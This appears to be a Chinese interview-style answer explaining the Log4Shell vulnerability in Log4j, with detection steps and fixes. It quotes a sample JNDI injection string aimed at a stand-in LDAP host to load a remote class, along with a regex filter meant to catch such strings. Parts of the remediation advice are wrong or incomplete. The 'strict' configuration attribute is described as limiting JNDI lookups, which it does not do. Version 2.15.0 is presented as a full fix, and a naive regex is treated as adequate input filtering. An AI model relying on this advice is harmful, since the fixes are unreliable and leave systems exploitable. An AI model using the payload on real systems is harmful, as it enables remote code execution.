面试题答案
一键面试漏洞产生原因
- JNDI注入:Log4j支持使用JNDI(Java Naming and Directory Interface)来解析日志消息中的变量。攻击者可以构造恶意的JNDI地址,当Log4j解析包含恶意JNDI地址的日志消息时,就会触发远程代码执行。例如,攻击者构造形如
${jndi:ldap://evil-server.com/evil-class}
的日志消息,Log4j会尝试从指定的LDAP服务器加载恶意类并执行其中代码。 - 配置不当:一些应用程序在配置Log4j时,可能开启了不必要的功能,或者对日志输入没有进行严格的过滤和验证,导致攻击者有机会注入恶意内容。
检测方法
- 代码审查:
- 检查项目中使用Log4j的代码,查看是否有直接拼接用户输入到日志消息中的情况。例如:
String userInput = request.getParameter("input");
logger.info("User input: " + userInput);
- 搜索代码库中是否存在对`${}`这种Log4j占位符的不当使用。
2. 依赖检查:
- 使用工具如Maven Dependency Plugin或Gradle的依赖分析功能,查看项目所依赖的Log4j版本。如果是Log4j 2.x且版本低于2.15.0(Log4Shell漏洞修复版本),则存在潜在风险。例如在Maven项目中,可以运行mvn dependency:tree
命令查看依赖树,确认Log4j版本。
3. 运行时检测:
- 可以编写一些简单的测试用例,向应用程序的日志输入点发送包含可疑JNDI表达式的测试数据,观察日志系统的反应。但这种方法需要确保测试环境与生产环境相似,且要注意不能影响正常业务。
修复措施
- 升级Log4j版本:
- 将Log4j升级到安全版本,推荐升级到2.15.0及以上。对于Maven项目,修改
pom.xml
文件中的Log4j依赖版本:
- 将Log4j升级到安全版本,推荐升级到2.15.0及以上。对于Maven项目,修改
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
- 对于Gradle项目,修改`build.gradle`文件:
implementation 'org.apache.logging.log4j:log4j-api:2.15.0'
implementation 'org.apache.logging.log4j:log4j-core:2.15.0'
- 配置限制:
- 在Log4j配置文件(如
log4j2.xml
)中,设置Configuration
元素的strict
属性为true
,限制JNDI查找。例如:
- 在Log4j配置文件(如
<Configuration status="WARN" strict="true">
<!-- 其他配置内容 -->
</Configuration>
- 输入验证和过滤:
- 在应用程序代码中,对所有可能进入日志系统的用户输入进行严格的验证和过滤。可以使用正则表达式等方式,确保输入内容不包含恶意的JNDI表达式。例如:
import java.util.regex.Pattern;
public class InputValidator {
private static final Pattern JNDI_PATTERN = Pattern.compile("\\$\\{jndi:[^}]*\\}");
public static boolean isValid(String input) {
return!JNDI_PATTERN.matcher(input).find();
}
}
然后在日志记录前调用验证方法:
String userInput = request.getParameter("input");
if (InputValidator.isValid(userInput)) {
logger.info("User input: " + userInput);
} else {
logger.warn("Invalid input detected");
}